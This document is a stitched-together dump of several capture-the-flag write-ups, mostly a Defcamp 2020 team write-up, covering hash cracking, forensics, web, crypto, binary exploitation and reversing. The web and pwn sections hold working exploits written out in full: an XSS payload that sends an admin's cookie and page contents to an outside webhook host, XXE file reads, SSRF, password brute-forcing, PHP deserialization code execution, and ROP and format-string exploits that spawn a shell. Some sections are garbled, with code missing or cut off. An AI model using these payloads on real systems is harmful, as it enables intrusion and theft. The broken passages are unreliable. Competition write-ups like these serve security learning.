text_chunk
stringlengths 151
703k
|
---|
# We Will Rock You Again
**Category**: Hash Cracking \**Points**: 50
## Challenge
- Given Hash And Salt- Crack The Hash
## Solution
We were given a hash and salt : `d809ee9ad068d33b71f48ad7507970e1:RonaldMcDonald`
First of all i used Hash-Identifier to identify the hash type

So we are given a `MD5` hash and thier are lots of website and tool that can be used to crack `MD5` hash with salt, but none of them worked.
Hash-Identifier also gives a possibility that it can be a `MD5(HMAC)`, so i looked hashcat for `MD5(HMAC)`

Now its time to fire up hashcat with `-m 60` as mentioned in hashcat help with `Rockyou.txt` wordlist

And It worked!!!

FLAG : `H2G2{Jackdaniels}`
|
tl;dr: reversing an app made from python (kivy + renpy), decode resources to extract flag. full writeup [here](https://blackbeard666.github.io/pwn_exhibit/content/2020_CTF/DefCampCTF/modernlogin_writeup.html)(https://blackbeard666.github.io/pwn_exhibit/content/2020_CTF/DefCampCTF/modernlogin_writeup.html) |
Solution script in dickit.py
Solved as team effort.
TLDR, you can choose a file to write to, but if you choose /proc/self/map_files/xxxxxxxx-yyyyyyyy, if the page is mapped, it will give a permission error and if it doesn't exist it will give a nonexistent file error. This lets you construct an oracle to figure out what pages are mapped (and thus the layout of the maze). This lets you find an efficient path through the maze so you can solve it under their path length constraint. |
# Defcamp 2020 writeups :triangular_flag_on_post:
## Team information**Team name:** bootplug
**Country**: Norway
**CTFTime profile**: https://ctftime.org/team/81341
**Authors**zup, PewZ, UnblvR, maritio_o, odin
We solved 25/26 challenges. Did not solve `inorder`
---
## Forensics### basic-comsWe get a pcap file. Searched for `http` traffic and found a single stream with some very interesting information in it

This **GET** request seems to contain an interesting parameter that looks like a flag.
Decoding this from URL encoding yields the flag```The content of the f l a g is ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993 and respects the format```
`CTF{ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993}`
### t3am_vi3w3rNoticed some DNS requests in the PCAP to RealVNC websites. Filtering on VNC traffic (`vnc` as filter in Wireshark) lists up some "broken" PDUs, but they are most likely just too new for Wireshark to handle.
Looking at the last byte of all these PDUs, we see that some text is entered - one letter at a time. It writes out the "Bee Movie" script, with the flag somewhere in the middle of it.
By simply looking for a value that matches '{', I was able to read out each letter of the flag and communicate it to a team mate that wrote it down.
flag: `DCTF{74a0f35841dfa7eddf5a87467c90da335132ae52c58ca440f31a53483cef7eac}`
### hunting-into-the-wildQ1. Based on the text, and obviois tool to think about is mimkaz, which often contain sekurlsa in the commanline. Used the following search on winlogbeat index:```process.args: *sekurlsa*```Shows process name: mim.exe
Q2.Seeing that most "malicous" related to APTSimulator, looking for events around this activity and filtering based on common native tools used for downloading, we found the following:```certutil.exe -urlcache -split -f https://raw.githubusercontent.com/NextronSystems/APTSimulator/master/download/cactus.js C:\Users\Public\en-US.js```
Q3. By going back in timeline to see source of all the malicous events, the following command was found:```C:\Windows\system32\cmd.exe /c ""C:\Users\IEUser\Desktop\APTSimulator\APTSimulator.bat```CTF{APTSimulator.bat}
Q4. Common command used for user management at windows is ```net user```, search for this actiovity within the timeline of the malicous commands, the following command line was found:```net user guest /active:yes```
### spy-agency
Volatility imagescan shows that the relevant profile is `Win7SP1x64`. After a brief `pstree` and `filescan`, we see that there's not really that much happening process-wise. But Chrome has been used to download a file from WeTransfer:
``` 0x000000003fa82210 16 0 RW---- \Device\HarddiskVolume2\Users\volf\Downloads\app-release.apk.zip```
We weren't able to dump this exact file, but there were some copies of it located on the desktop that could be dumped using `dumpfiles -Q XXX` with XXX being the physical address from the filescan output. The Chrome history also showed some Google searches for Bluestacks, an Android emulator, but none of its binaries were present. The belief is that someone downloaded this APK, then ran it locally in Bluestacks to get the secret location - which is the goal of this challenge.
The zip file does not contain an APK at all, but a directory, which contains the contents of an APK. This breaks normal decompilers like JADX, but luckily it's easy to repack it as a proper APK file.
After some brief reversing of the app, it looks like it is just a simple "Hello, World!" Android application, that only shows a single view with a "Hello World" message.
```javapackage com.example.hidden_place;
import android.os.Bundle;import androidx.appcompat.app.AppCompatActivity;
public class MainActivity extends AppCompatActivity { /* access modifiers changed from: protected */ public void onCreate(Bundle bundle) { super.onCreate(bundle); setContentView((int) R.layout.activity_main); }}```
However, inside drawables, there's a hidden file: `res/drawable/coordinates_can_be_found_here.jpg`. In the EXIF data of this image, there's some coordinates `-coordinates=44.44672703736637, 26.098652847616506` pointing to a Pizza hut.
Flag: `ctf{a939311a5c5be93e7a93d907ac4c22adb23ce45c39b8bfe2a26fb0d493521c4f}` (sha256 of 'pizzahut')
## Web### alien-inclusionThis is a very simple PHP server. The flag is located in `/var/www/html/flag.php`
```php 15: print("cmd too long!") return
data = { "password": "foobardeadbeefdsadsa" } req = requests.post(url, data=data)
tmp = req.content.decode("utf-8") idx = tmp.index("/secrets") secret = tmp[idx:].split("'")[0] print(secret)
url += secret print(url)
params = { "tryharder": cmd } req = requests.get(url, params=params) print(req.content)
req = requests.get(url) print(req.content)
if __name__ == "__main__": main("http://35.242.253.155:30574", "${`ln -s /var`}") main("http://35.242.253.155:30574", "${`mv var o`}") main("http://35.242.253.155:30574", "${`ln -s o/w*`}") main("http://35.242.253.155:30574", "${`mv www l`}") main("http://35.242.253.155:30574", "${`ln -s l/h*`}") main("http://35.242.253.155:30574", "${`mv html j`}") main("http://35.242.253.155:30574", "${`cat j/f*>2`}") main("http://35.242.253.155:30574", "${print`cat 2`}")```
We can inject php using the `tryharder` parameter, but it has to be less than 16 characters. In addition, the data we can change is part of a doc string (heredoc). We use ${} to run php and backticks to run shell commands.Running the solution script gives us the flag:`ctf{d067ddd00ba4129e83898758ac321533f392364cfaca7967d66791d9d08823bb}`
### pirate-crawlerThere is nothing on the main page.
First we found `/console` endpoint by dirbusting. However, the debugger console was protected with a PIN.
In the task description they mentioned APIs. So we tried to find `/api`, `/v1` and `/v2` etc.We then found some interesting endpoints.
* `/v1` - mentions that `/v1` is disabled and that we should see the changelog for more information.* `/v2` - mentions that this is the `V2 API ROUTE`
We then tried to find the CHANGELOG file:```shell$ http GET 'http://138.68.93.187:6960/v2/CHANGELOG'HTTP/1.0 200 OKContent-Length: 204Content-Type: text/html; charset=utf-8Date: Mon, 07 Dec 2020 16:47:24 GMTServer: Werkzeug/1.0.1 Python/3.6.9
#1: V1 context - V1 api routes disabled after sambacry #2: V2 context - crawl route parammeter changed to 'adshua' to prevent abuse #3: V2 context - added new safe SMbHandler to prevent sambacry```
We now know that SMB is involved and that there is an endpoint called `/v2/crawl`.We can use this endpoint to visit web pages, but it has an SSRF vulnerability. This meansthat we can fetch files from the server, or visit internal web pages.
Using this vulnerability we fetched the SMB config and the app.py source code:
`curl -D- http://138.68.93.187:6960/v2/crawl?adshua=file:///etc/samba/smb.conf --output smb.conf`
`curl -D- 'http://138.68.93.187:6960/v2/crawl?adshua=file:///home/ctfuser/app.py' --output app.py`
There is an interesting entry in SMB config```ini[josh] path = /samba/josh browseable = yes read only = yes guest ok = yes force create mode = 0660 force directory mode = 2770 valid users = josh @sadmin```
`josh` is an SMB share, and we can authenticate to this share as `josh`.We also see a new API endpoint for SMB
```[email protected]("/v2/smb", methods=["GET"])def smb(): #this might ROCK YOUr world! if request.args.get('onlyifyouknowthesourcecode'): director = urllib.request.build_opener(SMBHandler) fh = director.open(request.args.get('onlyifyouknowthesourcecode')) buf = fh.read() fh.close() return buf```
There is a hint refering to `rockyou.txt` in the source code. So now we just create a script to bruteforce josh's password using this wordlist.
```python#!/usr/bin/env python3import requestsimport sys
url = "http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:{password}@localhost/josh/flag.txt"
with open(sys.argv[1]) as wlist: for pw in wlist: pw = pw.rstrip()
r = requests.get(url.format(password=pw))
if "not authenticated" not in r.text: if "filedescriptor out of range" not in r.text: print(r.text) print(f"PASS: {pw}")```
The correct password is `christian`. We can now get the flag!
`http GET 'http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:christian@localhost/josh/flag.txt'`
The flag is: `ctf{6056850ae00cb2cdc76d2bfa0bcb40ee3cc744702a31af0a8edd7fb2872da6f9}`
### syntax-checkThis task took a while to figure out. The task description is```Some languages can be read by human, but not by machines, while others can be read by machines but not by humans. This markup language solves this problem by being readable to neither.
The flag is in /var/www/html/flag.```
The button on the main page does not work at all. It sets a GET parameter called `<foo>Hi!</foo>` and we get an error page saying "Empty string supplied as input."
The trick was to figure out that you had to send something in the request body instead of a GET parameter.
`curl -D- -XGET 'http://34.107.22.248:30526/parse' --data test`
A new error message: `That XML string is not well-formed`
Now we get a clue that the data we send is should be XML. The vulnerability here must be XML External Entity processing. We can try to create some entities that fetches local files on the server.
```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data '
]><foo>&exfiltrate;</foo>'```
We get the `/etc/passwd` file back!```...gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinwww:x:1000:3000::/var/www:/usr/sbin/nologin```
However we cannot leak the flag using base64 encoding.
```shellcurl -D- -XGET 'http://34.107.22.248:30526/parse' --data '
]><foo>&exfiltrate;</foo>'```
The error message is `You just tried to exfiltrate using base64? Nice. Try again!`
Seems like there is some sort of filter checking the output. We can't convert the PHP flag file into base64. It is still possible to convert the PHP file into UTF-16 though:
```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data '
]><foo>&exfiltrate;</foo>'```We then get this string
`瑣筦㈰摢㠴㈶㌷㈰㌶㈶㡥㙡㘹挱㍤〳㠳㈱㜰挳〵慦㔷戹㈴戰攱愷ㄱ㉡㍣扡〳`
We can convert this to UTF-8 and get the flag!
`ctf{02bd486273026362e8a6961cd3303812073c50fa759b420b1e7a11a2c3ab0130}`
### cross-meThe challenge name is a hint that this is an XSS challenge.
After you have logged in you can post notes to the website. The admin will check every note you create.
When trying to post `<script>` tags we get an error message:
`Invalid input. Failed at /<[^\w<>]*[ \/]\w*/i`
The server is validating our notes using regex. It has quite a few different patterns that it checks:
- `/<[^\w<>]*[ \/]\w*/i`- `/<(|\/|[^\/>][^>]+|\/[^>][^>]+)>/i`- `/(\b)(on\S{5,8})(\s*)=|(<\s*)(\/*)script/im`- ```/["'\(\)\.:\-\+> `]/im```
The best way I found to bypass this check is to convert our javascript into HTML entities:
e.g. `asdasd` -> `asdasd`
After trial and error I found out that the `<svg>` tag is your best bet! We can use its **onload** method which is not matched by the regex pattern above. ("load" is shorter than 5 characters).
Let's test this by fetching the admin's cookie. We can't have spaces, and can't have any `>` tag at the end. But it still works:
`<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<`
Convert the javascript to HTML entities:```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<'```
We now get a request from the admin. But there is no flag in the cookies...I then noticed the referer header in the request from admin:
`Referer: http://127.0.0.1:1234/index.php?page=post&id=221`
If we make the admin fetch this website and send the result back to us, we might get the flag.The new plan is to use **fetch**:
```jsfetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})```
This javascript posts the entire website back to us. When converting this to HTML entities, we can do the request to get the flag :)
```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=fetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})//<'```
FLAG: `CTF{3B3E64A81963B5E3FAC7DE0CE63966F03559DAF4B61753AADBFBA76855DB5E5A}`
### environIt is a login page, but we cannot login, and there is no button to register an account.After doing some enumeration we found a few endpoints that seems interesting
- /index.php- /login- /forgot-password- /register- /dashboard- /assets- /css- /js- /backup
At `/register` we can register an account and we get redirected to `/dashboard````Environ is a tool to decrypt your deal messages
Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly!
— The Team.```
If we go to `/index.php` we can see this message:```Environ is a tool to decrypt your deal messages
Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly!
— The Team. Also you can use /decode/{text} to obtain the contents of your private message.```
A new endpoint! `/decode/{text}`.
Almost everything we tried to insert as *text* makes the server respond with
`bool(false)`
If you insert a symbol, you get `File not found`.
I created a script to enumerate all the valid characters:```python#!/usr/bin/env python3import requestsimport string
url = "http://35.198.183.125:30278/decode/"
valid_chars = []
headers = { "Cookie": "laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D", "Accept": "application/json"}
for c in string.printable: r = requests.get(url+c, headers=headers)
if "bool(false)" in r.text: valid_chars.append(c) else: print(r.text.strip())
print(''.join(valid_chars))```
The valid characters are `0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%+=`
This looks like base64 to me!
At this point we started looking at the other endpoints, and found out that `/backup` is a git repository. We dumped the repository using [git-dumper.py](https://github.com/arthaud/git-dumper) (I had to replae all ".git" with "backup" for it to work) and find `.env.example` that contains an AES key:
`APP_KEY=base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=`
We also find the decode function used in the Laravel app.
```phppublic function decode(Request $request, $secret) { $key = env('APP_KEY'); $cipher = "AES-256-CBC"; $iv = substr(env('APP_KEY'), 0, 16); $secret_message = unserialize(openssl_decrypt($secret, $cipher, $key, 0, $iv)); var_dump($secret_message); }```
This function decrypts our secret message and unserializes it. Maybe we can try to exploit this unserialization?
To do this we need to find a class that has a constructor / deconstructor that does something unsafe. I found just the class for this in `app/Http/Middleware/YourChain.php`
```php<?php
namespace App\Http\Middleware;
use Closure;use Illuminate\Http\Request;
class YourChain{ /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ // public function handle(Request $request, Closure $next) // { // return $next($request); // }
public $inject; function __construct(){ } function __wakeup(){ if(isset($this->inject)) { if(isset($this->inject[5])){ eval($this->inject[5]); } } }}```
If we can create a serialized object with an `$inject` parameter that is an Array, we can eval php code of our choice. The 5th index must contain the code that should be evaled.
I did this by opening an interactive session with php: `php -a````php$key = "base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=";$iv = substr($key, 0, 16);
echo openssl_encrypt("O:29:\"App\\Http\\Middleware\\YourChain\":1:{s:6:\"inject\";a:6:{i:0;s:0:\"\";i:1;s:0:\"\";i:2;s:0:\"\";i:3;s:0:\"\";i:4;s:0:\"\";i:5;s:29:\"system('base64 ../flag.php');\";}}", "AES-256-CBC", $key, 0, $iv);```
Which yields `6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==`
We can send this encrypted text to the `/decode` endpoint to get our command executed!I tried multiple commands before I finally found flag.php in a directory.
```shell$ http GET "http://35.198.183.125:30278/decode/6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==" Cookie:laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D
%```
FLAG: `ctf{ea4941519e740783ebd819100ddc13486ae1e0abec2d0ef32bad5fc98edd16b6}`
## Steganography### stug-referenceThe task description says:```Do you have your own stug pass hidden within?```We get a jpg image. The most obvious thing to try is *steghide*.First I tried to use steghide without a password, but that did not work. Then I noticed the task description again: `stug pass hidden within`.
I then tried to extract using `stug` as password:
```shell$ steghide extract -sf stug.jpgEnter passphrase: wrote extracted data to "flag.txt".```flag.txt: `ctf{32849dd9d7e7b313c214a7b1d004b776b4af0cedd9730e6ca05ef725a18e38e1}`
## Crypto### bro64```python#!/usr/bin/env python3import jsonimport requests
from base64 import b64decodefrom pprint import pprint
from Crypto.Cipher import ChaCha20, Salsa20
# {"nonce": "TzMh7RxMJr8=", "ciphertext": "IynkKnGon3iK4oNSv59tqdLlpIowmfpiH88Vj1CjQBm3SvTcwTbrnY4q/UWKtJRu0M3v4sl+C0k8QFM8pdpyFCkE9Nur", "key": "Fidel_Alejandro_Castro_Ruz_Cuba!"}
def main(url): res = requests.get(url) if res.status_code != 200: print("failed!") return
res = json.loads(res.content) pprint(res)
key = res["key"] nonce = b64decode(res["nonce"]) ciphertext = b64decode(res["ciphertext"]) print(f"key length: {len(key)}") print(f"ciphertext length: {len(ciphertext)}") print(f"nonce length: {len(nonce)}")
#cipher = Salsa20.new(key=key.encode("utf-8"), nonce=nonce) #plaintext = cipher.decrypt(ciphertext) #print(plaintext)
cipher = ChaCha20.new(key=key.encode("utf-8"), nonce=nonce) plaintext = cipher.decrypt(ciphertext) print(plaintext)
if __name__ == "__main__": main("http://34.89.241.255:30013")
# ctf{f38deb0782c0f252090a52b2f1a5b05bf2964272f65d5c3580be631f52f4b3e0}```tried to find a cipher that matched with the key length etc. We noticed that the length of the ciphertext wasn't a multiple of normal block sizes, so we assumed a stream cipher. Then we tried to find a stream cipher that used base64 encoded nonce, and a key size of 256 bit. after some trial and error we found out that ChaCha20 was a match.
### why-xorWe get a Python script```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ""s2 = ""# ['\x00', '\x00', '\x00'] at start of xored is the best hint you geta_list = [chr(ord(a) ^ ord(b)) for a,b in zip(s1, s2)]print(a_list)print("".join(a_list))```
There is also a hint here about the first 3 null bytes being the best hint we can get.
Since we know that a flag usually starts with `ctf`, this is most likely the xor key. When xoring `ctf` with `ctf` we get three null bytes.
I modified the script to use `ctf` as key:```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ''.join(xored)s2 = "ctf" * len(xored) # We need the key to be equal length or longer than the cipher text
a_list = [chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2)]print("".join(a_list))```
Running it yields `ctf{79f107231696395c004e87dd7709d3990f0d602a57e9f56ac428b31138bda258}`
## Pwn### bazooka```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 35.234.65.24 --port 30812 ./pwn_bazooka_bazookafrom pwn import *
# Set up pwntools for the correct architectureexe = context.binary = ELF('./pwn_bazooka_bazooka')
# Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '35.234.65.24'port = int(args.PORT or 30812)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
# Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''set follow-fork-mode parentset follow-exec-mode sameb *0x0000000000400757continue'''.format(**locals())
#===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: No canary found# NX: NX enabled# PIE: No PIE (0x400000)
io = start()
io.sendlineafter("Secret message: ", "#!@{try_hard3r}")
pop_rdi = 0x00000000004008f3main = exe.symbols["main"]
payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(exe.got["puts"])payload += p64(exe.plt["puts"])payload += p64(main)io.sendlineafter("Message: ", payload)
io.recvuntil("Hacker alert")io.recvline()leak = u64(io.recvline().rstrip().ljust(8, b"\x00"))log.info(f"leak: {hex(leak)}")
if args.LOCAL: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")else: libc = ELF("libc6_2.27-3ubuntu1.3_amd64.so")
libc.address = leak - libc.symbols["puts"]log.success(f"libc base: {hex(libc.address)}")payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(next(libc.search(b"/bin/sh")))payload += p64(pop_rdi+1) # ret gadget for stack alignmentpayload += p64(libc.symbols["system"])payload += p64(libc.symbols["exit"])
io.sendlineafter("Secret message: ", "#!@{try_hard3r}")io.sendlineafter("Message: ", payload)
io.interactive()
# ctf{9bb6df8e98240b46601db436ad276eaa635a846c9a5afa5b2075907adf39244b}```
Vulnerable function protected with password.The vuln is a buffer overflow. First we trigger the bug to leak the address of puts through the GOT.This enables us to find the base address of libc. We then trigger the bug a second time and ROP into `system("/bin/sh")`.
### darkmagic```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 34.89.250.23 --port 32440 ./darkmagicfrom pwn import *
# Set up pwntools for the correct architectureexe = context.binary = ELF('./darkmagic')
# Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '34.89.250.23'port = int(args.PORT or 32440)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
# Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''b *0x00000000004007FFcontinue'''.format(**locals())
#===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: Canary found# NX: NX enabled# PIE: No PIE (0x400000)
io = start()
io.recvline()
writes = { exe.got["printf"]: exe.plt["system"] }payload = fmtstr_payload(8, writes=writes, write_size="byte")io.sendline(payload)io.sendline("/bin/sh;")
io.interactive()# dctf{857ee5051eeccf7cbdfa0ab9986d32f89158429fc12348e15419a969ddcb6bfb}```
Format string vuln. Read + printf called in a loop. We use the first `printf()` call to overwrite `printf@GOT` with `system` (we have `system` in the PLT). The second `printf()` will then execute whatever we send after the format string payload.
## Reverse engineering### secret-reverseThis binary opens up a file `message.txt` and prints out the encoded version of it. Our target is to find some message contents, such that the encoded content becomes `46004746409548141804243297904243125193404843946697460795444349`.
I quickly noticed that the output was of variable length, with only 1-2 letters output per input letter. With this, I brute-forced 2 and 2 letters at the time, picking the encoded message that was the closest match with the target.
The original message was: `yes_i_am_a_criminal_mastermind_beaware`. Thus the flag becomes: `ctf{9b9972e4d59d0360b5f1b80a5bbd76c05d75df5b636576710a6271c668a10ac5}`
Solution script:```pythonfrom subprocess import check_output, CalledProcessErrorfrom string import printable, ascii_lowercasefrom itertools import productfrom hashlib import sha256
ALPHA = ascii_lowercase +"_"TARGET = "46004746409548141804243297904243125193404843946697460795444349"
def run(s): with open("message.txt","w") as fd: fd.write(s) try: out = check_output(["./rev_secret_secret.o"]) return out.strip().split(b"Encoded: ")[1].decode() except CalledProcessError: print(f"Input {s} crashed") return ""
def score(s1, s2): for i in range(min([len(s1),len(s2)])): if s1[i] != s2[i]: return i return min([len(s1),len(s2)])
known = "yes_i_am_a_criminal_mastermind_beawa"best = 0beststrings = []for comb in product(ALPHA, repeat=2): T = known + ''.join(comb) out = run(T) if out == TARGET: print(f"ctf{{{sha256(T.encode()).hexdigest()}}}") break if (m := score(out, TARGET)) >= best: print(T, m, out) if m > best: beststrings = [T] best = m else: beststrings.append(T) print(best)print(beststrings)``` ### kalf-gameIn this challenge we are given a snake game written in rust. Since this is ahuge binary the first thing we did was to try and find something interestingrelated to the game. By looking at strings in IDA we quickly find these:* `Level finished!`* `is the victory level!`* `ctf{}`* etc.
By following the xrefs to these strings we found an interesting function at`0xE53C0`. Even with the decompiler the code looks like crap, but we could seea lot of references to strings that look like part of the flag. At `0xE5A04`there's a check to see if some number is equal to 100000, and if it is the codeproceeds to print some interesting stuff.
We assumed that this was the "win" check, and that the code is checking thelevel we are currently on. So we added a breakpoint to check. In gdb we couldverify that this value did in fact match the level. The solution was then tochange the level to 10000 and let the program continue running. The flag is puttogether and printed:`ctf{ddba6614a32456631c125eb1a4327c52686c71d909a92ec05ea5eb510eae81d9}`
### yopass-go```sh$ strings yopass-go/yopass | grep ctf*runtime.structfieldfound bad pointer in Go heap (incorrect use of unsafe or cgo?)runtime: internal error: misuse of lockOSThread/unlockOSThreadruntime.SetFinalizer: pointer not at beginning of allocated blockstrconv: internal error: extFloat.FixedDecimal called with n == 0runtime:greyobject: checkmarks finds unexpected unmarked object obj=ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}runtime: found space for saved base pointer, but no framepointer experiment/home/lucian/Desktop/ctf/yopass-go/yopass.go/home/lucian/Desktop/ctf/yopass-go/yopass.go[]runtime.structfieldruntime.structfieldruntime.structfield*runtime.structfield"[]runtime.structfield$runtime.structfield%runtime.structfield *runtime.structfield```
and there we go: `ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}`
### stripped-goused [golang_loader_assist.py](https://github.com/strazzere/golang_loader_assist) to recover symbols.main_main performs AES encryption with this passphrase: `thisis32bitlongpassphraseimusing`.and the message is: `g01sn0tf0rsk1d1e`. which means that the flag is ctf{sha256{g01sn0tf0rsk1d1e}} == ctf{a4e394ae892144a54c008a3b480a1b22a6b64dd26c4b0c9eba498330f511b51e}
### modern-loginWe quickly noticed the mp3 file that contained some Python files. We extracted the files by doing the following steps:1. Unzipping the APK and traversing to the `assets/` folder. 2. Running `file` showed us that `private.mp3` was a zipped folder. 3. Unzipping it revealed another `private.mp3` file which was a tar4. Extracting this as well provided us with several files, among them was `main.py`.
At first, they just seemed like bundled files and we didn't check them out much. However, we looked at the files in the mobile file system after running the app. There, we found the same files. At this point we looked further into them.
The most interesting file was `main.py`. It contained some functions to check the password and to XOR encrypt strings.
Part of `main.py`:```S=leno=bytesv=enumerateW=printh=None
def n(byt): q=b'viafrancetes' f=S(q) return o(c^q[i%f]for i,c in v(byt)) def d(s): y=n(s.encode()) return y.decode("utf-8")```
